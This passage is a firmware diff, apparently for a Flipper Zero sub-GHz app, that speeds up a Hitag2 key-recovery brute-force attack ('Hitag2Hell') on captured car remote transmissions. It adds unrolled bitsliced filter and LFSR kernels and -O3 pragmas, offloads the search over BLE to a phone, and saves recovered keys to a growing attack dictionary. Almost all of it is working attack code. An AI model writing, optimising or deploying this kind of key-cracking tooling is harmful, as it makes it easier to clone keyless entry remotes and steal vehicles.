return state[3] ^ state[11] ^ state[12] ^ state[13] ^ state[16] ^ state[17] ^ state[19] ^ state[50] ^ state[51] ^ state[54] ^ state[58] ^ state[69] ^ state[70] ^ state[71] ^ state[74] ^ state[75];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r29(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[2] ^ state[10] ^ state[11] ^ state[12] ^ state[15] ^ state[16] ^ state[18] ^ state[51] ^ state[52] ^ state[55] ^ state[59] ^ state[70] ^ state[71] ^ state[72] ^ state[75] ^ state[76];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r30(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[1] ^ state[9] ^ state[10] ^ state[11] ^ state[14] ^ state[15] ^ state[17] ^ state[52] ^ state[53] ^ state[56] ^ state[60] ^ state[71] ^ state[72] ^ state[73] ^ state[76] ^ state[77];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r31(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[8] ^ state[9] ^ state[10] ^ state[13] ^ state[14] ^ state[16] ^ state[53] ^ state[54] ^ state[57] ^ state[61] ^ state[72] ^ state[73] ^ state[74] ^ state[77] ^ state[78];
|
||||
}
|
||||
|
||||
// ---- Dispatchers (jump-table for variable r) ----
|
||||
static inline bitslice_t bs_filter_at(const bitslice_t state[STATE_ARR_LEN], uint8_t r) {
|
||||
switch(r) {
|
||||
case 0: return bs_filter_at_r0(state);
|
||||
case 1: return bs_filter_at_r1(state);
|
||||
case 2: return bs_filter_at_r2(state);
|
||||
case 3: return bs_filter_at_r3(state);
|
||||
case 4: return bs_filter_at_r4(state);
|
||||
case 5: return bs_filter_at_r5(state);
|
||||
case 6: return bs_filter_at_r6(state);
|
||||
case 7: return bs_filter_at_r7(state);
|
||||
case 8: return bs_filter_at_r8(state);
|
||||
case 9: return bs_filter_at_r9(state);
|
||||
case 10: return bs_filter_at_r10(state);
|
||||
case 11: return bs_filter_at_r11(state);
|
||||
case 12: return bs_filter_at_r12(state);
|
||||
case 13: return bs_filter_at_r13(state);
|
||||
case 14: return bs_filter_at_r14(state);
|
||||
case 15: return bs_filter_at_r15(state);
|
||||
case 16: return bs_filter_at_r16(state);
|
||||
case 17: return bs_filter_at_r17(state);
|
||||
case 18: return bs_filter_at_r18(state);
|
||||
case 19: return bs_filter_at_r19(state);
|
||||
case 20: return bs_filter_at_r20(state);
|
||||
case 21: return bs_filter_at_r21(state);
|
||||
case 22: return bs_filter_at_r22(state);
|
||||
case 23: return bs_filter_at_r23(state);
|
||||
case 24: return bs_filter_at_r24(state);
|
||||
case 25: return bs_filter_at_r25(state);
|
||||
case 26: return bs_filter_at_r26(state);
|
||||
case 27: return bs_filter_at_r27(state);
|
||||
case 28: return bs_filter_at_r28(state);
|
||||
case 29: return bs_filter_at_r29(state);
|
||||
case 30: return bs_filter_at_r30(state);
|
||||
case 31: return bs_filter_at_r31(state);
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at(const bitslice_t state[STATE_ARR_LEN], uint8_t r) {
|
||||
switch(r) {
|
||||
case 0: return bs_lfsr_at_r0(state);
|
||||
case 1: return bs_lfsr_at_r1(state);
|
||||
case 2: return bs_lfsr_at_r2(state);
|
||||
case 3: return bs_lfsr_at_r3(state);
|
||||
case 4: return bs_lfsr_at_r4(state);
|
||||
case 5: return bs_lfsr_at_r5(state);
|
||||
case 6: return bs_lfsr_at_r6(state);
|
||||
case 7: return bs_lfsr_at_r7(state);
|
||||
case 8: return bs_lfsr_at_r8(state);
|
||||
case 9: return bs_lfsr_at_r9(state);
|
||||
case 10: return bs_lfsr_at_r10(state);
|
||||
case 11: return bs_lfsr_at_r11(state);
|
||||
case 12: return bs_lfsr_at_r12(state);
|
||||
case 13: return bs_lfsr_at_r13(state);
|
||||
case 14: return bs_lfsr_at_r14(state);
|
||||
case 15: return bs_lfsr_at_r15(state);
|
||||
case 16: return bs_lfsr_at_r16(state);
|
||||
case 17: return bs_lfsr_at_r17(state);
|
||||
case 18: return bs_lfsr_at_r18(state);
|
||||
case 19: return bs_lfsr_at_r19(state);
|
||||
case 20: return bs_lfsr_at_r20(state);
|
||||
case 21: return bs_lfsr_at_r21(state);
|
||||
case 22: return bs_lfsr_at_r22(state);
|
||||
case 23: return bs_lfsr_at_r23(state);
|
||||
case 24: return bs_lfsr_at_r24(state);
|
||||
case 25: return bs_lfsr_at_r25(state);
|
||||
case 26: return bs_lfsr_at_r26(state);
|
||||
case 27: return bs_lfsr_at_r27(state);
|
||||
case 28: return bs_lfsr_at_r28(state);
|
||||
case 29: return bs_lfsr_at_r29(state);
|
||||
case 30: return bs_lfsr_at_r30(state);
|
||||
case 31: return bs_lfsr_at_r31(state);
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
#endif // HELL_KERNELS_GEN_H
|
||||
@@ -27,7 +27,12 @@
|
||||
// L5 (Hitag2Hell): full L0 sweep is 2^20 slots. We split into chunks so we
|
||||
// can call progress + yield often, and also to allow the caller to cancel
|
||||
// promptly. Chunk size = 4096 slots ~= a few seconds each on Cortex-M4.
|
||||
#define SUBGHZ_HITAG2_BF_L5_CHUNK_SIZE 4096U
|
||||
// Small L5 chunk so cancel/progress are polled between kernel calls often
|
||||
// enough to keep BACK responsive (the outer loop re-checks instance->cancel per
|
||||
// chunk). 256 matches qUnleashed's work-stealing chunk. A big chunk (e.g. 4096)
|
||||
// could run for minutes on the M4 before the outer cancel check ran, freezing
|
||||
// the UI while BACK's furi_thread_join waited.
|
||||
#define SUBGHZ_HITAG2_BF_L5_CHUNK_SIZE 256U
|
||||
#define SUBGHZ_HITAG2_BF_L5_TOTAL_SLOTS (1UL << 20)
|
||||
|
||||
struct SubGhzHitag2Bf {
|
||||
@@ -106,6 +111,23 @@ uint32_t subghz_hitag2_bf_get_uid(const SubGhzHitag2Bf* instance) {
|
||||
return instance->capture_count > 0 ? instance->captures[0].uid : 0;
|
||||
}
|
||||
|
||||
bool subghz_hitag2_bf_get_capture(
|
||||
const SubGhzHitag2Bf* instance,
|
||||
uint8_t index,
|
||||
uint32_t* uid_out,
|
||||
uint16_t* control_out,
|
||||
uint8_t* button_out,
|
||||
uint32_t* hop_out) {
|
||||
furi_check(instance);
|
||||
if(index >= instance->capture_count) return false;
|
||||
const SubGhzHitag2BfCapture* cap = &instance->captures[index];
|
||||
if(uid_out) *uid_out = cap->uid;
|
||||
if(control_out) *control_out = cap->control;
|
||||
if(button_out) *button_out = cap->button;
|
||||
if(hop_out) *hop_out = cap->hop;
|
||||
return true;
|
||||
}
|
||||
|
||||
void subghz_hitag2_bf_set_levels(SubGhzHitag2Bf* instance, uint8_t levels_mask) {
|
||||
furi_check(instance);
|
||||
instance->levels_mask = levels_mask;
|
||||
@@ -569,7 +591,9 @@ static bool subghz_hitag2_bf_hell_progress(
|
||||
return false;
|
||||
}
|
||||
}
|
||||
furi_delay_ms(1);
|
||||
// No furi_delay_ms here: it throttled throughput (a forced 1ms sleep per
|
||||
// progress tick). The worker thread already yields via the RTOS; the UI
|
||||
// stays alive through the event loop, and cancel is polled above.
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -597,7 +621,10 @@ static bool subghz_hitag2_bf_try_hell_on_capture(
|
||||
Hitag2HellConfig cfg = {0};
|
||||
cfg.progress_cb = subghz_hitag2_bf_hell_progress;
|
||||
cfg.progress_ctx = &bridge;
|
||||
cfg.timeout_ms = 0;
|
||||
// Backstop: force the kernel to return within ~500ms even if it hasn't
|
||||
// hit its internal 1024-slot progress checkpoint, so the outer loop
|
||||
// re-checks instance->cancel and BACK stays responsive.
|
||||
cfg.timeout_ms = 500;
|
||||
cfg.now_ms_cb = furi_get_tick;
|
||||
cfg.l0_start = chunk_start;
|
||||
cfg.l0_end = chunk_start + SUBGHZ_HITAG2_BF_L5_CHUNK_SIZE;
|
||||
@@ -650,6 +677,18 @@ static bool subghz_hitag2_bf_run_l5(
|
||||
// attack on additional captures would multiply the wall time without much
|
||||
// gain (candidates from cap[0] already include the true key).
|
||||
if(instance->capture_count == 0) return false;
|
||||
// Emit an initial L5 frame so the UI switches from "L4 100%" to
|
||||
// "Hitag2Hell 0%" immediately, instead of appearing frozen on L4 during the
|
||||
// first (minutes-long on M4) computation window before the kernel's own
|
||||
// progress callback fires.
|
||||
if(progress_cb) {
|
||||
progress_cb(
|
||||
SubGhzHitag2BfLevelHitag2Hell,
|
||||
"Hitag2Hell",
|
||||
0,
|
||||
instance->keys_tested_total,
|
||||
context);
|
||||
}
|
||||
return subghz_hitag2_bf_try_hell_on_capture(
|
||||
instance, &instance->captures[0], progress_cb, context);
|
||||
}
|
||||
|
||||
@@ -77,6 +77,23 @@ bool subghz_hitag2_bf_add_capture(
|
||||
uint8_t subghz_hitag2_bf_get_capture_count(const SubGhzHitag2Bf* instance);
|
||||
uint32_t subghz_hitag2_bf_get_uid(const SubGhzHitag2Bf* instance);
|
||||
|
||||
/**
|
||||
* Retrieve the fields of a single stored capture by index. Used to build the
|
||||
* BLE compute-offload request. Returns false if index is out of range.
|
||||
* @param index capture index (0 .. capture_count-1)
|
||||
* @param uid_out optional output for the 32-bit UID
|
||||
* @param control_out optional output for the 10-bit rolling counter
|
||||
* @param button_out optional output for the 4-bit button
|
||||
* @param hop_out optional output for the 32-bit observed auth
|
||||
*/
|
||||
bool subghz_hitag2_bf_get_capture(
|
||||
const SubGhzHitag2Bf* instance,
|
||||
uint8_t index,
|
||||
uint32_t* uid_out,
|
||||
uint16_t* control_out,
|
||||
uint8_t* button_out,
|
||||
uint32_t* hop_out);
|
||||
|
||||
/**
|
||||
* Set which levels are enabled. Bitmask: (1<<L1)|(1<<L2)|... Default: all.
|
||||
*/
|
||||
|
||||
@@ -20,6 +20,13 @@
|
||||
|
||||
#include <string.h>
|
||||
|
||||
// The firmware is built at -Og by default (debug-friendly). This bitslice
|
||||
// kernel is the single hottest integer loop in the app; force -O3 + loop
|
||||
// unrolling on it alone so the M4 runs it at full speed (empirically ~2-4x vs
|
||||
// -Og) without changing the rest of the firmware's build. Pure integer
|
||||
// AND/OR/XOR/shift work, no FPU, so this is safe and deterministic.
|
||||
#pragma GCC optimize("O3", "unroll-loops")
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Bitslice type (32-way SIMD across 32 lanes of a uint32_t)
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -54,6 +61,14 @@ typedef uint32_t bitslice_t;
|
||||
// index is state[77] (in round 31 filter with p=1 -> 47+31-1 = 77).
|
||||
#define STATE_ARR_LEN 80U
|
||||
|
||||
// Per-round specialized filter/LFSR kernels with compile-time-constant state[]
|
||||
// indices (bit-identical to the runtime-index bs_filter_at/bs_lfsr_at below).
|
||||
// Ported from qUnleashed; requires bitslice_t, STATE_ARR_LEN and the f_*_bs
|
||||
// macros above, which are byte-identical between the two trees. Using these at
|
||||
// the hot call sites replaces per-call index arithmetic + non-inlined dispatch
|
||||
// with immediate-offset loads, a further speedup on top of -O3.
|
||||
#include "hell_kernels_gen.h"
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Layer 0 mask & layer new-bit tables (see gen_kernel.py)
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -172,49 +187,11 @@ static void emit_candidate(Hitag2HellResult* result, uint64_t state31) {
|
||||
// after layer 8).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Compute filter output at round r, given fully-populated state[0..N] bitslices.
|
||||
static bitslice_t bs_filter_at(const bitslice_t state[STATE_ARR_LEN], uint8_t r) {
|
||||
// Group bit-positions per round r (position p in S_r maps to state[p-r] or
|
||||
// state[47+r-p]). This mirrors the scalar hitag2_fiat_filter.
|
||||
static const int8_t group_pos[5][4] = {
|
||||
{41, 42, 44, 45},
|
||||
{32, 33, 35, 39},
|
||||
{21, 24, 26, 30},
|
||||
{14, 16, 18, 19},
|
||||
{ 1, 3, 4, 13},
|
||||
};
|
||||
static const bool is_fa[5] = {true, false, false, false, true};
|
||||
|
||||
bitslice_t g[5];
|
||||
for(uint8_t gi = 0; gi < 5U; gi++) {
|
||||
uint8_t idx[4];
|
||||
for(uint8_t k = 0; k < 4U; k++) {
|
||||
int8_t p = group_pos[gi][k];
|
||||
idx[k] = (uint8_t)((p >= r) ? (p - r) : (47 + r - p));
|
||||
}
|
||||
// truth(fa or fb, fi(bit[idx0],...,bit[idx3])) == f_x_bs(bit[idx3],...,bit[idx0])
|
||||
bitslice_t a = state[idx[3]];
|
||||
bitslice_t b = state[idx[2]];
|
||||
bitslice_t c = state[idx[1]];
|
||||
bitslice_t d = state[idx[0]];
|
||||
g[gi] = is_fa[gi] ? f_a_bs(a, b, c, d) : f_b_bs(a, b, c, d);
|
||||
}
|
||||
return f_c_bs(g[0], g[1], g[2], g[3], g[4]);
|
||||
}
|
||||
|
||||
// Compute state[48+r] = LFSR feedback at round r (deterministic once all the
|
||||
// input state[] bits are known).
|
||||
static bitslice_t bs_lfsr_at(const bitslice_t state[STATE_ARR_LEN], uint8_t r) {
|
||||
// LFSR taps in state at round r: positions {0,1,4,5,6,17,21,24,25,31,39,40,41,44,45,47}.
|
||||
static const uint8_t taps[16] = {0, 1, 4, 5, 6, 17, 21, 24, 25, 31, 39, 40, 41, 44, 45, 47};
|
||||
bitslice_t v = 0;
|
||||
for(uint8_t i = 0; i < 16U; i++) {
|
||||
uint8_t p = taps[i];
|
||||
uint8_t idx = (uint8_t)((p >= r) ? (p - r) : (47 + r - p));
|
||||
v ^= state[idx];
|
||||
}
|
||||
return v;
|
||||
}
|
||||
// The former runtime-index bs_filter_at(state, r) / bs_lfsr_at(state, r) were
|
||||
// replaced by the compile-time-constant per-round kernels in hell_kernels_gen.h
|
||||
// (bs_filter_at_rN / bs_lfsr_at_rN), which are bit-identical but far faster on
|
||||
// the M4 (immediate-offset loads, fully inlined). All call sites now use the
|
||||
// specialized kernels, so the runtime versions were removed.
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Deep search: enters with state[] populated with L0+L1(spread+scalar) bits.
|
||||
@@ -232,7 +209,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 5U; k++) {
|
||||
state[k_layer2_bits[k]] = bs_from_bit((i2 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f2 = bs_filter_at(state, 2);
|
||||
bitslice_t f2 = bs_filter_at_r2(state);
|
||||
bitslice_t alive2 = alive_mask & ~(f2 ^ ctx->keystream[2]);
|
||||
if(alive2 == 0) continue;
|
||||
|
||||
@@ -241,7 +218,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 4U; k++) {
|
||||
state[k_layer3_bits[k]] = bs_from_bit((i3 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f3 = bs_filter_at(state, 3);
|
||||
bitslice_t f3 = bs_filter_at_r3(state);
|
||||
bitslice_t alive3 = alive2 & ~(f3 ^ ctx->keystream[3]);
|
||||
if(alive3 == 0) continue;
|
||||
|
||||
@@ -250,7 +227,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 2U; k++) {
|
||||
state[k_layer4_bits[k]] = bs_from_bit((i4 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f4 = bs_filter_at(state, 4);
|
||||
bitslice_t f4 = bs_filter_at_r4(state);
|
||||
bitslice_t alive4 = alive3 & ~(f4 ^ ctx->keystream[4]);
|
||||
if(alive4 == 0) continue;
|
||||
|
||||
@@ -258,7 +235,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 2U; k++) {
|
||||
state[k_layer5_bits[k]] = bs_from_bit((i5 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f5 = bs_filter_at(state, 5);
|
||||
bitslice_t f5 = bs_filter_at_r5(state);
|
||||
bitslice_t alive5 = alive4 & ~(f5 ^ ctx->keystream[5]);
|
||||
if(alive5 == 0) continue;
|
||||
|
||||
@@ -266,7 +243,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 2U; k++) {
|
||||
state[k_layer6_bits[k]] = bs_from_bit((i6 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f6 = bs_filter_at(state, 6);
|
||||
bitslice_t f6 = bs_filter_at_r6(state);
|
||||
bitslice_t alive6 = alive5 & ~(f6 ^ ctx->keystream[6]);
|
||||
if(alive6 == 0) continue;
|
||||
|
||||
@@ -274,7 +251,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 2U; k++) {
|
||||
state[k_layer7_bits[k]] = bs_from_bit((i7 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f7 = bs_filter_at(state, 7);
|
||||
bitslice_t f7 = bs_filter_at_r7(state);
|
||||
bitslice_t alive7 = alive6 & ~(f7 ^ ctx->keystream[7]);
|
||||
if(alive7 == 0) continue;
|
||||
|
||||
@@ -282,7 +259,7 @@ static bool deep_search(
|
||||
for(uint8_t k = 0; k < 2U; k++) {
|
||||
state[k_layer8_bits[k]] = bs_from_bit((i8 >> k) & 1U);
|
||||
}
|
||||
bitslice_t f8 = bs_filter_at(state, 8);
|
||||
bitslice_t f8 = bs_filter_at_r8(state);
|
||||
bitslice_t alive8 = alive7 & ~(f8 ^ ctx->keystream[8]);
|
||||
if(alive8 == 0) continue;
|
||||
|
||||
@@ -320,22 +297,75 @@ static bool deep_search(
|
||||
// Now state[0..54] all set.
|
||||
// Verify LFSR consistency for rounds 2..6 (state[50..54]).
|
||||
// Any lane inconsistent means the guesses were wrong.
|
||||
for(uint8_t r = 2; r < 7U; r++) {
|
||||
bitslice_t expected = bs_lfsr_at(state, r);
|
||||
alive8 &= ~(expected ^ state[48 + r]);
|
||||
if(alive8 == 0) break;
|
||||
}
|
||||
// Unrolled with compile-time-constant kernels.
|
||||
#define HELL_LFSR_VERIFY(R) \
|
||||
alive8 &= ~(bs_lfsr_at_r##R(state) ^ state[48 + (R)]); \
|
||||
if(alive8 == 0) goto lfsr_verify_done;
|
||||
HELL_LFSR_VERIFY(2)
|
||||
HELL_LFSR_VERIFY(3)
|
||||
HELL_LFSR_VERIFY(4)
|
||||
HELL_LFSR_VERIFY(5)
|
||||
HELL_LFSR_VERIFY(6)
|
||||
#undef HELL_LFSR_VERIFY
|
||||
lfsr_verify_done:
|
||||
if(alive8 == 0) continue;
|
||||
// Compute state[55..79] via LFSR (deterministic).
|
||||
for(uint8_t r = 7; r < 32U; r++) {
|
||||
state[48 + r] = bs_lfsr_at(state, r);
|
||||
}
|
||||
#define HELL_LFSR_COMPUTE(R) state[48 + (R)] = bs_lfsr_at_r##R(state);
|
||||
HELL_LFSR_COMPUTE(7)
|
||||
HELL_LFSR_COMPUTE(8)
|
||||
HELL_LFSR_COMPUTE(9)
|
||||
HELL_LFSR_COMPUTE(10)
|
||||
HELL_LFSR_COMPUTE(11)
|
||||
HELL_LFSR_COMPUTE(12)
|
||||
HELL_LFSR_COMPUTE(13)
|
||||
HELL_LFSR_COMPUTE(14)
|
||||
HELL_LFSR_COMPUTE(15)
|
||||
HELL_LFSR_COMPUTE(16)
|
||||
HELL_LFSR_COMPUTE(17)
|
||||
HELL_LFSR_COMPUTE(18)
|
||||
HELL_LFSR_COMPUTE(19)
|
||||
HELL_LFSR_COMPUTE(20)
|
||||
HELL_LFSR_COMPUTE(21)
|
||||
HELL_LFSR_COMPUTE(22)
|
||||
HELL_LFSR_COMPUTE(23)
|
||||
HELL_LFSR_COMPUTE(24)
|
||||
HELL_LFSR_COMPUTE(25)
|
||||
HELL_LFSR_COMPUTE(26)
|
||||
HELL_LFSR_COMPUTE(27)
|
||||
HELL_LFSR_COMPUTE(28)
|
||||
HELL_LFSR_COMPUTE(29)
|
||||
HELL_LFSR_COMPUTE(30)
|
||||
HELL_LFSR_COMPUTE(31)
|
||||
#undef HELL_LFSR_COMPUTE
|
||||
// Filter rounds 9..31 check.
|
||||
for(uint8_t r = 9; r < 32U; r++) {
|
||||
bitslice_t fr = bs_filter_at(state, r);
|
||||
alive8 &= ~(fr ^ ctx->keystream[r]);
|
||||
if(alive8 == 0) break;
|
||||
}
|
||||
#define HELL_FILTER_CHECK(R) \
|
||||
alive8 &= ~(bs_filter_at_r##R(state) ^ ctx->keystream[R]); \
|
||||
if(alive8 == 0) goto filter_check_done;
|
||||
HELL_FILTER_CHECK(9)
|
||||
HELL_FILTER_CHECK(10)
|
||||
HELL_FILTER_CHECK(11)
|
||||
HELL_FILTER_CHECK(12)
|
||||
HELL_FILTER_CHECK(13)
|
||||
HELL_FILTER_CHECK(14)
|
||||
HELL_FILTER_CHECK(15)
|
||||
HELL_FILTER_CHECK(16)
|
||||
HELL_FILTER_CHECK(17)
|
||||
HELL_FILTER_CHECK(18)
|
||||
HELL_FILTER_CHECK(19)
|
||||
HELL_FILTER_CHECK(20)
|
||||
HELL_FILTER_CHECK(21)
|
||||
HELL_FILTER_CHECK(22)
|
||||
HELL_FILTER_CHECK(23)
|
||||
HELL_FILTER_CHECK(24)
|
||||
HELL_FILTER_CHECK(25)
|
||||
HELL_FILTER_CHECK(26)
|
||||
HELL_FILTER_CHECK(27)
|
||||
HELL_FILTER_CHECK(28)
|
||||
HELL_FILTER_CHECK(29)
|
||||
HELL_FILTER_CHECK(30)
|
||||
HELL_FILTER_CHECK(31)
|
||||
#undef HELL_FILTER_CHECK
|
||||
filter_check_done:
|
||||
if(alive8 == 0) continue;
|
||||
|
||||
// Any surviving lanes are candidates.
|
||||
@@ -388,7 +418,10 @@ bool hitag2_hell_recover(
|
||||
}
|
||||
}
|
||||
const uint32_t l0_total = l0_end - l0_start;
|
||||
const uint32_t progress_step = 1024U;
|
||||
// Poll progress/cancel/timeout every 128 L0 slots. Small enough that a 256-
|
||||
// slot L5 chunk gets at least one in-kernel checkpoint (so BACK is honored
|
||||
// and progress advances mid-chunk), without adding meaningful overhead.
|
||||
const uint32_t progress_step = 128U;
|
||||
uint32_t next_progress = l0_start + progress_step;
|
||||
uint32_t t_start = 0;
|
||||
if(config && config->timeout_ms > 0 && config->now_ms_cb) {
|
||||
@@ -431,7 +464,7 @@ bool hitag2_hell_recover(
|
||||
}
|
||||
|
||||
// Round-1 filter check.
|
||||
bitslice_t f1 = bs_filter_at(state, 1);
|
||||
bitslice_t f1 = bs_filter_at_r1(state);
|
||||
bitslice_t alive = ~(f1 ^ keystream[1]);
|
||||
if(alive == 0) continue;
|
||||
|
||||
|
||||
Binary file not shown.
@@ -13,6 +13,7 @@
|
||||
#include <furi.h>
|
||||
#include <storage/storage.h>
|
||||
#include <toolbox/path.h>
|
||||
#include <bt/bt_service/bt.h>
|
||||
|
||||
#define TAG "SubGhzSceneHitag2Bf"
|
||||
|
||||
@@ -21,6 +22,16 @@
|
||||
// Maximum files to scan in the same directory when auto-loading captures
|
||||
#define HITAG2_BF_MAX_SCAN_FILES 64U
|
||||
|
||||
// --- BLE compute-offload wire protocol (must match qUnleashed exactly) ---
|
||||
#define HT_MSG_BF_REQUEST 0x20 // Flipper -> phone
|
||||
#define HT_MSG_BF_PROGRESS 0x21 // phone -> Flipper
|
||||
#define HT_MSG_BF_RESULT 0x22 // phone -> Flipper
|
||||
#define HT_MSG_BF_CANCEL 0x23 // Flipper -> phone
|
||||
|
||||
// Cap offloaded captures so the request fits BLE_SVC_SERIAL_CUSTOM_DATA_LEN_MAX
|
||||
// (64). Request = 14-byte header + 7 bytes/capture -> 7 captures = 63 bytes.
|
||||
#define HT_MSG_BF_MAX_OFFLOAD_CAPTURES 7U
|
||||
|
||||
typedef struct {
|
||||
SubGhz* subghz;
|
||||
FuriThread* thread;
|
||||
@@ -32,6 +43,7 @@ typedef struct {
|
||||
uint8_t found_key[6];
|
||||
uint32_t found_epoch;
|
||||
uint8_t found_level;
|
||||
bool ble_offload;
|
||||
} Hitag2BfCtx;
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
@@ -176,6 +188,72 @@ static void hitag2_bf_write_key_to_fff(Hitag2BfCtx* ctx) {
|
||||
real_fff, "Hitag2 Epoch", &ctx->found_epoch, 1);
|
||||
}
|
||||
|
||||
// Append the recovered key to the known-keys dictionary at
|
||||
// /ext/subghz/assets/hitag2 so the list grows over time and future attacks hit
|
||||
// it at L1/L3 instantly. Format: one 12-hex-char line per key (no spaces),
|
||||
// matching the file's convention. Deduplicates by scanning existing lines
|
||||
// first. Best-effort: any storage failure is silently ignored (the key is
|
||||
// already saved in the .sub). Used for BOTH local and offloaded finds.
|
||||
static void hitag2_bf_append_key_to_dict(Hitag2BfCtx* ctx) {
|
||||
char key_hex[13];
|
||||
snprintf(
|
||||
key_hex,
|
||||
sizeof(key_hex),
|
||||
"%02X%02X%02X%02X%02X%02X",
|
||||
ctx->found_key[0],
|
||||
ctx->found_key[1],
|
||||
ctx->found_key[2],
|
||||
ctx->found_key[3],
|
||||
ctx->found_key[4],
|
||||
ctx->found_key[5]);
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
// Ensure the assets directory exists (mirrors the keeloq keystore pattern).
|
||||
storage_simply_mkdir(storage, EXT_PATH("subghz/assets"));
|
||||
|
||||
const char* path = EXT_PATH("subghz/assets/hitag2");
|
||||
|
||||
// Dedup: scan the existing file for this key (case-insensitive-ish; the
|
||||
// file uses uppercase, and we write uppercase, so a plain substring match
|
||||
// over the whole content is sufficient and cheap for a small dictionary).
|
||||
bool already_present = false;
|
||||
File* rf = storage_file_alloc(storage);
|
||||
if(storage_file_open(rf, path, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
char buf[256];
|
||||
FuriString* content = furi_string_alloc();
|
||||
size_t n;
|
||||
while((n = storage_file_read(rf, buf, sizeof(buf))) > 0) {
|
||||
furi_string_cat_str(content, ""); // ensure alloc
|
||||
for(size_t i = 0; i < n; i++) {
|
||||
furi_string_push_back(content, buf[i]);
|
||||
}
|
||||
}
|
||||
if(furi_string_search_str(content, key_hex, 0) != FURI_STRING_FAILURE) {
|
||||
already_present = true;
|
||||
}
|
||||
furi_string_free(content);
|
||||
}
|
||||
storage_file_close(rf);
|
||||
storage_file_free(rf);
|
||||
|
||||
if(!already_present) {
|
||||
File* wf = storage_file_alloc(storage);
|
||||
// Open for append (create if missing).
|
||||
if(storage_file_open(wf, path, FSAM_WRITE, FSOM_OPEN_APPEND)) {
|
||||
char line[16];
|
||||
int len = snprintf(line, sizeof(line), "%s\n", key_hex);
|
||||
if(len > 0) {
|
||||
storage_file_write(wf, line, (size_t)len);
|
||||
}
|
||||
}
|
||||
storage_file_close(wf);
|
||||
storage_file_free(wf);
|
||||
}
|
||||
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Progress callback (from worker thread)
|
||||
// -----------------------------------------------------------------------------
|
||||
@@ -220,6 +298,108 @@ static bool hitag2_bf_progress_cb(
|
||||
return true;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// BLE compute-offload (Flipper offloads the heavy attack to a connected phone)
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
static void hitag2_ble_data_received(uint8_t* data, uint16_t size, void* context) {
|
||||
Hitag2BfCtx* ctx = context;
|
||||
if(size < 1 || ctx->cancel) return;
|
||||
|
||||
if(data[0] == HT_MSG_BF_PROGRESS && size >= 10) {
|
||||
uint8_t pct = data[1];
|
||||
uint64_t slots_done = 0;
|
||||
memcpy(&slots_done, data + 2, 8);
|
||||
|
||||
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000U;
|
||||
|
||||
subghz_view_hitag2_bf_update_stats(
|
||||
ctx->subghz->subghz_hitag2_bf,
|
||||
SubGhzHitag2BfLevelHitag2Hell,
|
||||
"H2H",
|
||||
pct,
|
||||
slots_done,
|
||||
0,
|
||||
elapsed_sec,
|
||||
0,
|
||||
subghz_hitag2_bf_get_capture_count(ctx->bf));
|
||||
|
||||
} else if(data[0] == HT_MSG_BF_RESULT && size >= 12) {
|
||||
uint8_t found = data[1];
|
||||
|
||||
if(found) {
|
||||
memcpy(ctx->found_key, data + 2, 6);
|
||||
memcpy(&ctx->found_epoch, data + 8, 4);
|
||||
ctx->found_level = SubGhzHitag2BfLevelHitag2Hell;
|
||||
ctx->success = true;
|
||||
}
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, HITAG2_BF_EVENT_DONE);
|
||||
}
|
||||
}
|
||||
|
||||
static void hitag2_ble_cleanup(Hitag2BfCtx* ctx) {
|
||||
if(!ctx->ble_offload) return;
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
bt_set_custom_data_callback(bt, NULL, NULL);
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = false;
|
||||
}
|
||||
|
||||
static bool hitag2_ble_start_offload(Hitag2BfCtx* ctx) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
if(!bt_is_connected(bt)) {
|
||||
furi_record_close(RECORD_BT);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Register callback for incoming data (progress/result)
|
||||
bt_set_custom_data_callback(bt, hitag2_ble_data_received, ctx);
|
||||
|
||||
// Build the BF request from the captures already loaded in ctx.
|
||||
// Cap at HT_MSG_BF_MAX_OFFLOAD_CAPTURES to stay within the 64-byte limit.
|
||||
uint8_t cap_total = subghz_hitag2_bf_get_capture_count(ctx->bf);
|
||||
uint8_t cap_count = (cap_total > HT_MSG_BF_MAX_OFFLOAD_CAPTURES) ?
|
||||
(uint8_t)HT_MSG_BF_MAX_OFFLOAD_CAPTURES :
|
||||
cap_total;
|
||||
|
||||
